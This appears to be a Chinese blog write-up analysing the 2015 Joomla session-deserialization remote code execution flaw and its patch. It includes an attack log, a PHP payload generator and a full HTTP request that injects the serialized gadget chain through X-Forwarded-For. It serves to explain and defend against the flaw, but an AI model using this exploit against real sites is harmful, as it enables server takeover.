Joomla远程代码执行漏洞

这篇文章晚来了十天多,也没办法,两个星期疯狂期末考,如果去研究这个漏洞的话非得挂科不可,所以一直拖到现在才写文章

漏洞日期

这个漏洞最早是在2015/12/12日爆出的,来源是apache的一个访问日志

详情可以看推酷的文章:

2015 Dec 12 16:49:07 clienyhidden.access.log
Src IP: 74.3.170.33 / CAN / Alberta
74.3.170.33 – – [12/Dec/2015:16:49:40 -0500] “GET /contact/ HTTP/1.1403 5322 “http://google.com/” “}__test|O:21:\x22JDatabaseDriverMysqli\x22:3: ..
{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. {}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:..
{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..

看到这串日志,通过HTTP个GET请求构造了一个EXP,同时全球各地的Joomla都遭到了攻击

厂商的防御措施

漏洞爆出一天,Joomla官方就紧急修复升级了CMS,我们看看是怎么修的

通过文件的对比,也就是

/libraries/joomla/session/session.php

这个文件发生了变化,而且修补方式也非常的简单粗暴

2015-12-27 17:19:42屏幕截图

右边的是Joomla3.4.6的版本,相比来说,官方直接取消了HTTP_USER_AGENT的session序列化入库,而对于HTTP_X_FORWARDED_FOR也只是做了一个函数检测过滤,也就是filter_var() 函数

filter_var(variable, filter, options)
 参数 描述 
variable 必需。规定要过滤的变量。 
filter 可选。规定要使用的过滤器的 ID。 
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

而FILTER_VALIDATE_IP是把值作为 IP 地址来验证。也就是说这儿只能是个IP,但这儿就有了一个问题,万一哪儿再出现了序列化入库的地方,这个远程代码执行漏洞将再次产生

漏洞成因

依然看session.php,看修补的部分我们追踪一下

刚才所有修补的部分都在一个自定义的函数中也就是_validate,我们一个个看

对于xff来说,入库的代码是这样的

        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }

很简单的代码,$_SERVER函数获取到xff,然后通过调用set()函数把SERVER值设置到session中

再看看UA

if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');

            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }
        }

灰色的不看,这儿直接检测了UA是否为空,然后调用get函数赋值给browser,如果没有出错的话,就再把UA设置到session,就此,就达到了入库

漏洞跟踪

这儿即使我们能自己构造UA和XFF,然并卵,因为并没有看到什么能执行的东西,那我们继续跟进去

跟进这个session的处理方式,追踪到了/libraries/joomla/session/storage.php这个文件中

session的读取和写入方式被重新实现,也就是session_set_save_handler这个函数

2015-12-27 18:24:37屏幕截图

而这儿涉及到一个东西,就session的问题,当你第一访问时,会产生一个session入库,当你第二次访问时,session会被从库中提出进行反序列化,而mysql对于session的存储机制正是漏洞原因之一

Joomla的session的结构为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』

那么对于一个已经被序列化的值来说,我们可以在其中添加一个|,将|之前的东西全部都置为键名,而后面就可以随意构造序列化的代码

这时候还有个问题,就是插入了一个|,前面还会有一个|,怎么绕过呢

2015121608060684532

想一下流程,外部访问,SERVER获取变量设置session,接着write过程中PHP自动进行序列化,存储进存储容器中(mysql),接着执行read读取,根据键名去判断长度,符合的话就继续

这儿我们就做了一个有趣的小实验

有趣的实验

写一个序列化代码,看看

2015-12-28 01:56:29屏幕截图

这儿的输出结果是

s:6:"123456";

意思是一个字符串,长度为6,值为123456

继续写一个看看

2015-12-28 02:09:50屏幕截图

输出的是heheO:3:”cat”:0:{}wawa,去掉前后也就是

O:3:"cat":0:{}

意思是一个对象,3个长度,值为cat,内容0长度,没有赋值

再看看最后一个实验,虽然Joomla重写write的,但只是做了一个替换,并没有什么实质的变化,序列化方式还是php_serialize本身的方式,而读取的时候却采用的PHP的读取机制,它自身强行把序列化的内容之前赋了一个_default的键值,添加了一个管道符,那对于管道符成了一个关键

2015-12-28 02:18:50屏幕截图

输出的结果是

s:21:"123456|O:3:"cat":0:{}";

管道符直接出现了,不仅如此,第一个实验中的序列化结果也出现了,且管道符+序列化内容和我们真正想序列化的内容一起被设置成了值

而Joomla的漏洞正是因为一个问题,一是对于内容读取错误的操作,而是一个mysql对于一个编码的解析

两个点

先说一下mysql对于一个编码的解析

The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters

以上是官网原话,也就是说,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。也就是%F0%9D%8C%86四个字节,存入库中的话,这四个字节和字节之后的所有东西都会被舍弃,也就是所谓的截断

而另一个点就是session的反序列化过程是按照长度来进行读取操作的,当长度不符合时,也就会反序列化出错,而php<5.6.13时,反序列化数据出错将会将指针从第一个管道符移动到第二个管道符,而之前的变量将被注销掉这真是一个神奇的机制

我不自觉的画了个流程图

QQ截图20151228030325

这就是存的过程,接着看看取出的过程

QQ截图20151228031005

POC构造

这儿我们基本就讲完了详细的流程,就是我们能控制Joomla只反序列化我们想要去反序列化的东西,但这只能算是个反序列化的问题,怎么才能做到代码执行呢?这儿就是内部代码的问题了

在整个Session的读取过程中,JDatabaseDriverMysqli类是一个很重要的类,session反序列化后都会成为这个类的类对象,而这些对象,最后都将被__destruct(析构函数)所调用,我们跟进看看

class JDatabaseDriverMysql extends JDatabaseDriverMysqli
{    ......................
一个继承类,接着
    public function __construct($options)
    {
        // PHP's `mysql` extension is not present in PHP 7, block instantiation in this environment
        if (PHP_MAJOR_VERSION >= 7)
        {
            throw new RuntimeException(
                'This driver is unsupported in PHP 7, please use the MySQLi or PDO MySQL driver instead.'
            );
        }

        // Get some basic values from the options.
        $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost';
        $options['user'] = (isset($options['user'])) ? $options['user'] : 'root';
        $options['password'] = (isset($options['password'])) ? $options['password'] : '';
        $options['database'] = (isset($options['database'])) ? $options['database'] : '';
        $options['select'] = (isset($options['select'])) ? (bool) $options['select'] : true;

        // Finalize initialisation.
        parent::__construct($options);
    }

构造函数,创造出各种属性作为容器

再下面就是析构函数
    public function __destruct()
    {
        $this->disconnect();
    }

__destruct调用disconnect,我们跟进disconnect,发现其中有一个敏感的回调函数,经常作为回调后门出现

call_user_func_array

我们看看完整的代码

public function disconnect()
    {
        // Close the connection.
        if (is_resource($this->connection))
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysql_close($this->connection);
        }

        $this->connection = null;
    }

明显,将资源属性都进行了引用,然后回调赋值,而array($this)我们却并不能控制

怎么办呢?这儿就卡住了,详细看看各个大牛的文章以及代码发现一个有趣的地方

有趣的地方

Joomla中有一个类叫做JSimplepieFactory,而这个类又经过了__autoload加载成了一个万用类,可以不需要Include直接进行加载,而这个类又有一个神奇的地方,就是如下代码

2015-12-28 16:17:26屏幕截图

这儿的jimport()自动将simplepie调用到工作环境中,而最奇葩的来了,跟进到Simplepie中,里面出现了一串有趣的代码

function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;
 
            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                }

这儿有个地方很有意思

call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc')

第二个 call_user_func()中的参数全都来自于工作环境,而工作环境中的值,却是可以通过最前面的那些乱七八糟的东西自由控制的,这个意思就是说,当我们把$this->cache_name_function赋值成assert,把$this->feed_url赋值成需要执行的代码,那么,就产生了所谓的代码执行

我们倒着想就是两个值赋值,这个赋值来源于工作环境,而工作环境中的值来源于session反序列化时的赋值(不行,头有点晕)

大致理解掉之后就有了一个比较清晰的利用思路

那我们就可以去生成一个POC了

代码如下:

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
 
}
class SimplePie {
    var $sanitize;
    var $feed_url;
    var $cache_name_function;
    var $cache;
    var $cache_class; 
    function __construct()
    {
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
        $this->cache_class = new JDatabaseDriverMysql();
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
    }
}
 
class JDatabaseDriverMysqli {
    protected $lang;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->lang = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = true;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}
 
$a = new JDatabaseDriverMysqli();
$s = serialize($a);
$s = str_replace( chr(0) . '*' . chr(0),'\0\0\0', $s);
echo $s;
?>

生成一个序列化

2015-12-28 18:08:56屏幕截图

最终在 Burpsuite这么发包

GET /j4/ HTTP/1.1
Host: 192.168.177.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 537b1c7ef116e9822fa3f86eaa0b40f9=jkoupdkeuc8n95utlojg2qs707
X-Forwarded-For: }_test|O:21:"JDatabaseDriverMysqli":3:{s:7:"\0\0\0lang";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𝌆
Connection: keep-alive
Cache-Control: max-age=0

然后重新刷新一下页面便可以

2015-12-28 18:12:54屏幕截图

修复意见

实际漏洞运用条件比较高,修复的话反而很简单最快的就是把PHP升级,因为php>=5.6.13以后如果第一个变量错误,直接销毁整个session

还有就是把Joomla升级到3.4.6吧,对XFF等头做了检测过滤,再有的话就请把自身代码对于读写的方式改改,别,太,奇,葩!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Joomla远程代码执行漏洞

留下评论